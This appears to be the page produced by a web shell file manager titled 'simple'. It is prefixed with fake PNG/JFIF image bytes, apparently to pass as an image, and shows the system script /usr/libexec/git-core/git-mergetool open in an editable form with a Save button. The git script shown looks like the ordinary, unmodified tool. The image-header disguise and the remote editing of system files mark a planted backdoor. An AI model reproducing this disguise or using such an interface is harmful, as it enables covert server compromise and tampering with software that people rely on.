�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fusr%2F'>usr</a>/<a href='?path=%2Fusr%2Flibexec%2F'>libexec</a>/<a href='?path=%2Fusr%2Flibexec%2Fgit-core%2F'>git-core</a>/</p><hr><h3>✏️ Editing: git-mergetool</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>#!/bin/sh
#
# This program resolves merge conflicts in git
#
# Copyright (c) 2006 Theodore Y. Ts'o
# Copyright (c) 2009-2016 David Aguilar
#
# This file is licensed under the GPL v2, or a later version
# at the discretion of Junio C Hamano.
#

USAGE='[--tool=tool] [--tool-help] [-y|--no-prompt|--prompt] [-g|--gui|--no-gui] [-O&lt;orderfile&gt;] [file to merge] ...'
SUBDIRECTORY_OK=Yes
NONGIT_OK=Yes
OPTIONS_SPEC=
TOOL_MODE=merge
. git-sh-setup
. git-mergetool--lib

# Returns true if the mode reflects a symlink
is_symlink () {
	test &quot;$1&quot; = 120000
}

is_submodule () {
	test &quot;$1&quot; = 160000
}

local_present () {
	test -n &quot;$local_mode&quot;
}

remote_present () {
	test -n &quot;$remote_mode&quot;
}

base_present () {
	test -n &quot;$base_mode&quot;
}

mergetool_tmpdir_init () {
	if test &quot;$(git config --bool mergetool.writeToTemp)&quot; != true
	then
		MERGETOOL_TMPDIR=.
		return 0
	fi
	if MERGETOOL_TMPDIR=$(mktemp -d -t &quot;git-mergetool-XXXXXX&quot; 2&gt;/dev/null)
	then
		return 0
	fi
	die &quot;error: mktemp is needed when 'mergetool.writeToTemp' is true&quot;
}

cleanup_temp_files () {
	if test &quot;$1&quot; = --save-backup
	then
		rm -rf -- &quot;$MERGED.orig&quot;
		test -e &quot;$BACKUP&quot; &amp;&amp; mv -- &quot;$BACKUP&quot; &quot;$MERGED.orig&quot;
		rm -f -- &quot;$LOCAL&quot; &quot;$REMOTE&quot; &quot;$BASE&quot;
	else
		rm -f -- &quot;$LOCAL&quot; &quot;$REMOTE&quot; &quot;$BASE&quot; &quot;$BACKUP&quot;
	fi
	if test &quot;$MERGETOOL_TMPDIR&quot; != &quot;.&quot;
	then
		rmdir &quot;$MERGETOOL_TMPDIR&quot;
	fi
}

describe_file () {
	mode=&quot;$1&quot;
	branch=&quot;$2&quot;
	file=&quot;$3&quot;

	printf &quot;  {%s}: &quot; &quot;$branch&quot;
	if test -z &quot;$mode&quot;
	then
		echo &quot;deleted&quot;
	elif is_symlink &quot;$mode&quot;
	then
		echo &quot;a symbolic link -&gt; '$(cat &quot;$file&quot;)'&quot;
	elif is_submodule &quot;$mode&quot;
	then
		echo &quot;submodule commit $file&quot;
	elif base_present
	then
		echo &quot;modified file&quot;
	else
		echo &quot;created file&quot;
	fi
}

resolve_symlink_merge () {
	while true
	do
		printf &quot;Use (l)ocal or (r)emote, or (a)bort? &quot;
		read ans || return 1
		case &quot;$ans&quot; in
		[lL]*)
			git checkout-index -f --stage=2 -- &quot;$MERGED&quot;
			git add -- &quot;$MERGED&quot;
			cleanup_temp_files --save-backup
			return 0
			;;
		[rR]*)
			git checkout-index -f --stage=3 -- &quot;$MERGED&quot;
			git add -- &quot;$MERGED&quot;
			cleanup_temp_files --save-backup
			return 0
			;;
		[aA]*)
			return 1
			;;
		esac
	done
}

resolve_deleted_merge () {
	while true
	do
		if base_present
		then
			printf &quot;Use (m)odified or (d)eleted file, or (a)bort? &quot;
		else
			printf &quot;Use (c)reated or (d)eleted file, or (a)bort? &quot;
		fi
		read ans || return 1
		case &quot;$ans&quot; in
		[mMcC]*)
			git add -- &quot;$MERGED&quot;
			if test &quot;$merge_keep_backup&quot; = &quot;true&quot;
			then
				cleanup_temp_files --save-backup
			else
				cleanup_temp_files
			fi
			return 0
			;;
		[dD]*)
			git rm -- &quot;$MERGED&quot; &gt; /dev/null
			cleanup_temp_files
			return 0
			;;
		[aA]*)
			if test &quot;$merge_keep_temporaries&quot; = &quot;false&quot;
			then
				cleanup_temp_files
			fi
			return 1
			;;
		esac
	done
}

resolve_submodule_merge () {
	while true
	do
		printf &quot;Use (l)ocal or (r)emote, or (a)bort? &quot;
		read ans || return 1
		case &quot;$ans&quot; in
		[lL]*)
			if ! local_present
			then
				if test -n &quot;$(git ls-tree HEAD -- &quot;$MERGED&quot;)&quot;
				then
					# Local isn't present, but it's a subdirectory
					git ls-tree --full-name -r HEAD -- &quot;$MERGED&quot; |
					git update-index --index-info || exit $?
				else
					test -e &quot;$MERGED&quot; &amp;&amp; mv -- &quot;$MERGED&quot; &quot;$BACKUP&quot;
					git update-index --force-remove &quot;$MERGED&quot;
					cleanup_temp_files --save-backup
				fi
			elif is_submodule &quot;$local_mode&quot;
			then
				stage_submodule &quot;$MERGED&quot; &quot;$local_sha1&quot;
			else
				git checkout-index -f --stage=2 -- &quot;$MERGED&quot;
				git add -- &quot;$MERGED&quot;
			fi
			return 0
			;;
		[rR]*)
			if ! remote_present
			then
				if test -n &quot;$(git ls-tree MERGE_HEAD -- &quot;$MERGED&quot;)&quot;
				then
					# Remote isn't present, but it's a subdirectory
					git ls-tree --full-name -r MERGE_HEAD -- &quot;$MERGED&quot; |
					git update-index --index-info || exit $?
				else
					test -e &quot;$MERGED&quot; &amp;&amp; mv -- &quot;$MERGED&quot; &quot;$BACKUP&quot;
					git update-index --force-remove &quot;$MERGED&quot;
				fi
			elif is_submodule &quot;$remote_mode&quot;
			then
				! is_submodule &quot;$local_mode&quot; &amp;&amp;
				test -e &quot;$MERGED&quot; &amp;&amp;
				mv -- &quot;$MERGED&quot; &quot;$BACKUP&quot;
				stage_submodule &quot;$MERGED&quot; &quot;$remote_sha1&quot;
			else
				test -e &quot;$MERGED&quot; &amp;&amp; mv -- &quot;$MERGED&quot; &quot;$BACKUP&quot;
				git checkout-index -f --stage=3 -- &quot;$MERGED&quot;
				git add -- &quot;$MERGED&quot;
			fi
			cleanup_temp_files --save-backup
			return 0
			;;
		[aA]*)
			return 1
			;;
		esac
	done
}

stage_submodule () {
	path=&quot;$1&quot;
	submodule_sha1=&quot;$2&quot;
	mkdir -p &quot;$path&quot; ||
	die &quot;fatal: unable to create directory for module at $path&quot;
	# Find $path relative to work tree
	work_tree_root=$(cd_to_toplevel &amp;&amp; pwd)
	work_rel_path=$(cd &quot;$path&quot; &amp;&amp;
		GIT_WORK_TREE=&quot;${work_tree_root}&quot; git rev-parse --show-prefix
	)
	test -n &quot;$work_rel_path&quot; ||
	die &quot;fatal: unable to get path of module $path relative to work tree&quot;
	git update-index --add --replace --cacheinfo 160000 &quot;$submodule_sha1&quot; &quot;${work_rel_path%/}&quot; || die
}

checkout_staged_file () {
	tmpfile=&quot;$(git checkout-index --temp --stage=&quot;$1&quot; &quot;$2&quot; 2&gt;/dev/null)&quot; &amp;&amp;
	tmpfile=${tmpfile%%'	'*}

	if test $? -eq 0 &amp;&amp; test -n &quot;$tmpfile&quot;
	then
		mv -- &quot;$(git rev-parse --show-cdup)$tmpfile&quot; &quot;$3&quot;
	else
		&gt;&quot;$3&quot;
	fi
}

hide_resolved () {
	git merge-file --ours -q -p &quot;$LOCAL&quot; &quot;$BASE&quot; &quot;$REMOTE&quot; &gt;&quot;$LCONFL&quot;
	git merge-file --theirs -q -p &quot;$LOCAL&quot; &quot;$BASE&quot; &quot;$REMOTE&quot; &gt;&quot;$RCONFL&quot;
	mv -- &quot;$LCONFL&quot; &quot;$LOCAL&quot;
	mv -- &quot;$RCONFL&quot; &quot;$REMOTE&quot;
}

merge_file () {
	MERGED=&quot;$1&quot;

	f=$(git ls-files -u -- &quot;$MERGED&quot;)
	if test -z &quot;$f&quot;
	then
		if test ! -f &quot;$MERGED&quot;
		then
			echo &quot;$MERGED: file not found&quot;
		else
			echo &quot;$MERGED: file does not need merging&quot;
		fi
		return 1
	fi

	# extract file extension from the last path component
	case &quot;${MERGED##*/}&quot; in
	*.*)
		ext=.${MERGED##*.}
		BASE=${MERGED%&quot;$ext&quot;}
		;;
	*)
		BASE=$MERGED
		ext=
	esac

	initialize_merge_tool &quot;$merge_tool&quot; || return

	mergetool_tmpdir_init

	if test &quot;$MERGETOOL_TMPDIR&quot; != &quot;.&quot;
	then
		# If we're using a temporary directory then write to the
		# top-level of that directory.
		BASE=${BASE##*/}
	fi

	BACKUP=&quot;$MERGETOOL_TMPDIR/${BASE}_BACKUP_$$$ext&quot;
	LOCAL=&quot;$MERGETOOL_TMPDIR/${BASE}_LOCAL_$$$ext&quot;
	LCONFL=&quot;$MERGETOOL_TMPDIR/${BASE}_LOCAL_LCONFL_$$$ext&quot;
	REMOTE=&quot;$MERGETOOL_TMPDIR/${BASE}_REMOTE_$$$ext&quot;
	RCONFL=&quot;$MERGETOOL_TMPDIR/${BASE}_REMOTE_RCONFL_$$$ext&quot;
	BASE=&quot;$MERGETOOL_TMPDIR/${BASE}_BASE_$$$ext&quot;

	base_mode= local_mode= remote_mode=

	# here, $IFS is just a LF
	for line in $f
	do
		mode=${line%% *}		# 1st word
		sha1=${line#&quot;$mode &quot;}
		sha1=${sha1%% *}		# 2nd word
		case &quot;${line#$mode $sha1 }&quot; in	# remainder
		'1	'*)
			base_mode=$mode
			;;
		'2	'*)
			local_mode=$mode local_sha1=$sha1
			;;
		'3	'*)
			remote_mode=$mode remote_sha1=$sha1
			;;
		esac
	done

	if is_submodule &quot;$local_mode&quot; || is_submodule &quot;$remote_mode&quot;
	then
		echo &quot;Submodule merge conflict for '$MERGED':&quot;
		describe_file &quot;$local_mode&quot; &quot;local&quot; &quot;$local_sha1&quot;
		describe_file &quot;$remote_mode&quot; &quot;remote&quot; &quot;$remote_sha1&quot;
		resolve_submodule_merge
		return
	fi

	if test -f &quot;$MERGED&quot;
	then
		mv -- &quot;$MERGED&quot; &quot;$BACKUP&quot;
		cp -- &quot;$BACKUP&quot; &quot;$MERGED&quot;
	fi
	# Create a parent directory to handle delete/delete conflicts
	# where the base's directory no longer exists.
	mkdir -p &quot;$(dirname &quot;$MERGED&quot;)&quot;

	checkout_staged_file 1 &quot;$MERGED&quot; &quot;$BASE&quot;
	checkout_staged_file 2 &quot;$MERGED&quot; &quot;$LOCAL&quot;
	checkout_staged_file 3 &quot;$MERGED&quot; &quot;$REMOTE&quot;

	# hideResolved preferences hierarchy.
	global_config=&quot;mergetool.hideResolved&quot;
	tool_config=&quot;mergetool.${merge_tool}.hideResolved&quot;

	if enabled=$(git config --type=bool &quot;$tool_config&quot;)
	then
		# The user has a specific preference for a specific tool and no
		# other preferences should override that.
		: ;
	elif enabled=$(git config --type=bool &quot;$global_config&quot;)
	then
		# The user has a general preference for all tools.
		#
		# 'true' means the user likes the feature so we should use it
		# where possible but tool authors can still override.
		#
		# 'false' means the user doesn't like the feature so we should
		# not use it anywhere.
		if test &quot;$enabled&quot; = true &amp;&amp; hide_resolved_enabled
		then
		    enabled=true
		else
		    enabled=false
		fi
	else
		# The user does not have a preference. Default to disabled.
		enabled=false
	fi

	if test &quot;$enabled&quot; = true
	then
		hide_resolved
	fi

	if test -z &quot;$local_mode&quot; || test -z &quot;$remote_mode&quot;
	then
		echo &quot;Deleted merge conflict for '$MERGED':&quot;
		describe_file &quot;$local_mode&quot; &quot;local&quot; &quot;$LOCAL&quot;
		describe_file &quot;$remote_mode&quot; &quot;remote&quot; &quot;$REMOTE&quot;
		resolve_deleted_merge
		status=$?
		rmdir -p &quot;$(dirname &quot;$MERGED&quot;)&quot; 2&gt;/dev/null
		return $status
	fi

	if is_symlink &quot;$local_mode&quot; || is_symlink &quot;$remote_mode&quot;
	then
		echo &quot;Symbolic link merge conflict for '$MERGED':&quot;
		describe_file &quot;$local_mode&quot; &quot;local&quot; &quot;$LOCAL&quot;
		describe_file &quot;$remote_mode&quot; &quot;remote&quot; &quot;$REMOTE&quot;
		resolve_symlink_merge
		return
	fi

	echo &quot;Normal merge conflict for '$MERGED':&quot;
	describe_file &quot;$local_mode&quot; &quot;local&quot; &quot;$LOCAL&quot;
	describe_file &quot;$remote_mode&quot; &quot;remote&quot; &quot;$REMOTE&quot;
	if test &quot;$guessed_merge_tool&quot; = true || test &quot;$prompt&quot; = true
	then
		printf &quot;Hit return to start merge resolution tool (%s): &quot; &quot;$merge_tool&quot;
		read ans || return 1
	fi

	if base_present
	then
		present=true
	else
		present=false
	fi

	if ! run_merge_tool &quot;$merge_tool&quot; &quot;$present&quot;
	then
		echo &quot;merge of $MERGED failed&quot; 1&gt;&amp;2
		mv -- &quot;$BACKUP&quot; &quot;$MERGED&quot;

		if test &quot;$merge_keep_temporaries&quot; = &quot;false&quot;
		then
			cleanup_temp_files
		fi

		return 1
	fi

	if test &quot;$merge_keep_backup&quot; = &quot;true&quot;
	then
		mv -- &quot;$BACKUP&quot; &quot;$MERGED.orig&quot;
	else
		rm -- &quot;$BACKUP&quot;
	fi

	git add -- &quot;$MERGED&quot;
	cleanup_temp_files
	return 0
}

prompt_after_failed_merge () {
	while true
	do
		printf &quot;Continue merging other unresolved paths [y/n]? &quot;
		read ans || return 1
		case &quot;$ans&quot; in
		[yY]*)
			return 0
			;;
		[nN]*)
			return 1
			;;
		esac
	done
}

print_noop_and_exit () {
	echo &quot;No files need merging&quot;
	exit 0
}

main () {
	prompt=$(git config --bool mergetool.prompt)
	GIT_MERGETOOL_GUI=
	guessed_merge_tool=false
	orderfile=

	while test $# != 0
	do
		case &quot;$1&quot; in
		--tool-help=*)
			TOOL_MODE=${1#--tool-help=}
			show_tool_help
			;;
		--tool-help)
			show_tool_help
			;;
		-t|--tool*)
			case &quot;$#,$1&quot; in
			*,*=*)
				merge_tool=${1#*=}
				;;
			1,*)
				usage ;;
			*)
				merge_tool=&quot;$2&quot;
				shift ;;
			esac
			;;
		--no-gui)
			GIT_MERGETOOL_GUI=false
			;;
		-g|--gui)
			GIT_MERGETOOL_GUI=true
			;;
		-y|--no-prompt)
			prompt=false
			;;
		--prompt)
			prompt=true
			;;
		-O*)
			orderfile=&quot;${1#-O}&quot;
			;;
		--)
			shift
			break
			;;
		-*)
			usage
			;;
		*)
			break
			;;
		esac
		shift
	done

	git_dir_init
	require_work_tree

	if test -z &quot;$merge_tool&quot;
	then
		merge_tool=$(get_merge_tool)
		subshell_exit_status=$?
		if test $subshell_exit_status = 1
		then
			guessed_merge_tool=true
		elif test $subshell_exit_status -gt 1
		then
			exit $subshell_exit_status
		fi
	fi
	merge_keep_backup=&quot;$(git config --bool mergetool.keepBackup || echo true)&quot;
	merge_keep_temporaries=&quot;$(git config --bool mergetool.keepTemporaries || echo false)&quot;

	prefix=$(git rev-parse --show-prefix) || exit 1
	cd_to_toplevel

	if test -n &quot;$orderfile&quot;
	then
		orderfile=$(
			git rev-parse --prefix &quot;$prefix&quot; -- &quot;$orderfile&quot; |
			sed -e 1d
		)
	fi

	if test $# -eq 0 &amp;&amp; test -e &quot;$GIT_DIR/MERGE_RR&quot;
	then
		set -- $(git rerere remaining)
		if test $# -eq 0
		then
			print_noop_and_exit
		fi
	elif test $# -ge 0
	then
		# rev-parse provides the -- needed for 'set'
		eval &quot;set $(git rev-parse --sq --prefix &quot;$prefix&quot; -- &quot;$@&quot;)&quot;
	fi

	files=$(git -c core.quotePath=false \
		diff --name-only --diff-filter=U \
		${orderfile:+&quot;-O$orderfile&quot;} -- &quot;$@&quot;)

	if test -z &quot;$files&quot;
	then
		print_noop_and_exit
	fi

	printf &quot;Merging:\n&quot;
	printf &quot;%s\n&quot; &quot;$files&quot;

	rc=0
	set -- $files
	while test $# -ne 0
	do
		printf &quot;\n&quot;
		if ! merge_file &quot;$1&quot;
		then
			rc=1
			test $# -ne 1 &amp;&amp; prompt_after_failed_merge || exit 1
		fi
		shift
	done

	exit $rc
}

main &quot;$@&quot;
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fusr%2Flibexec%2Fgit-core'>🔙 Back</a></p>